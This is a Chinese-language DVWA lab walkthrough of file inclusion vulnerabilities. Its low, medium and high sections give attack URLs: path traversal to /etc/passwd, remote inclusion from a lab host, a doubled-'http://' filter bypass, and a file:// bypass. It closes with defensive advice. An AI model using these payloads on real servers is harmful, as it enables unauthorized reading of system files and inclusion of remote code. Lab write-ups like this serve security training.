DVWA1.10之文件包含


文件包含漏洞

文件包含漏洞,是指当服务器开启allow_url_include选项和allow_url_fopen选项时,就可以通过php的某些特性函数(include()require()include_once()require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取

文件包含漏洞分为本地文件包含漏洞(LFI)与远程文件包含漏洞(RFI),远程文件包含漏洞是因为开启了php配置中的allow_url_include选项(选项开启之后,服务器允许包含一个远程的文件)


LOW级别

点击页面中的连接,会对相应的文件进行包含

1.png

本地文件包含

构造绝对路径URL

1
http://172.16.12.93/vulnerabilities/fi/?page=/etc/passwd

2.png

构造相对路径URL

1
http://172.16.12.93/vulnerabilities/fi/?page=../../../../../../etc/passwd

5.png

远程文件包含

远端服务器主页:

3.png

构造URL

1
http://172.16.12.93/vulnerabilities/fi/?page=http://192.168.1.3/

4.png


Medium级别

Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将http://https://../..\替换为空字符,即删除

本地文件包含

可以以绝对路径来绕过../..\过滤

1
http://172.16.12.93/vulnerabilities/fi/?page=/etc/passwd

6.png

远程文件包含

以双写绕过http://https://过滤

1
http://172.16.12.93/vulnerabilities/fi/?page=hthttp://tp://192.168.1.3/

7.png


High级别

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file开头的文件

可以利用file协议绕过防护策略

当用浏览器打开一个本地文件时,使用的就是file协议

构造URL

1
http://172.16.12.93/vulnerabilities/fi/?page=file:///etc/passwd

8.png


Impossible级别

Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为include.phpfile1.php”、“file2.phpfile3.php之一,彻底杜绝了文件包含漏洞


文件包含防御

  1. PHP中使用open_basedir配置,将访问限制在指定区域

  2. 过滤../..\等等特殊字符

  3. 禁止服务器远程文件包含(allow_url_include设置为Off)

  4. 白名单限制可包含的文件

---------------The End---------------
0%